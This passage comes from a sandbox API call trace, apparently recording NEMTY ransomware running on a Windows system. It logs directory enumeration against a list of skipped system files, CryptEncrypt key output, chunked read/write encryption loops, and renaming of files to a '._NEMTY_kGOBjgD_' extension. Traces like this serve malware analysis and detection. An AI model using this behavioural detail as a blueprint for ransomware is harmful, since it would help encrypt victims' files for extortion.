lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.503] CloseHandle (hObject=0xffffffff) returned 0 [0064.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0064.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0064.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0064.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0064.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0064.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0064.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0064.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0064.504] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png._nemty_kgobjgd_")) returned 0 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0064.504] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0064.505] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0064.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0064.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0064.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0064.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0064.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0064.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0064.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0064.506] Sleep (dwMilliseconds=0x5) [0064.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda1a7bb0, dwHighDateTime=0x1d561e7)) [0064.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda1a7bb0, dwHighDateTime=0x1d561e7)) [0064.519] GetLastError () returned 0x5 [0064.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.519] GetLastError () returned 0x5 [0064.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.519] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.520] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0064.520] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="8ldvjeGbJ2Zwcz0zfPhpqlHETpDzcBRadddq2++artH6gX0dLMGX/u3oJrN2toAA\r\n5elVDZ4VAFC0UmAQsRHR9zHOhWnkhvL9JeaBae6ZrYFgxkRA7fkBMm4IK1e7uTgd\r\nyL5RZPs41KXPR8mXrUnXV66stkc3mfK6TExTza5uf1eXT7BXhuSNKssfRhTGUUap\r\nz6LGeAuvc6xq/PEyARxfgmL9KAoEIpFnr2gkwzOZ8Z19AkB79jp7a4xW48EXkJ8R\r\nZ+ZrXJgRcYEG/2yDMyKbmKO9XRJPCl0jqrdynqPjK0T7bHKoxaGHRJGYUe4nWeKb\r\nJ9/PAriDD4Z+AaQsiGVkEw==\r\n", pcchString=0x653e91c) returned 1 [0064.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0064.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0064.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.520] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.520] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, 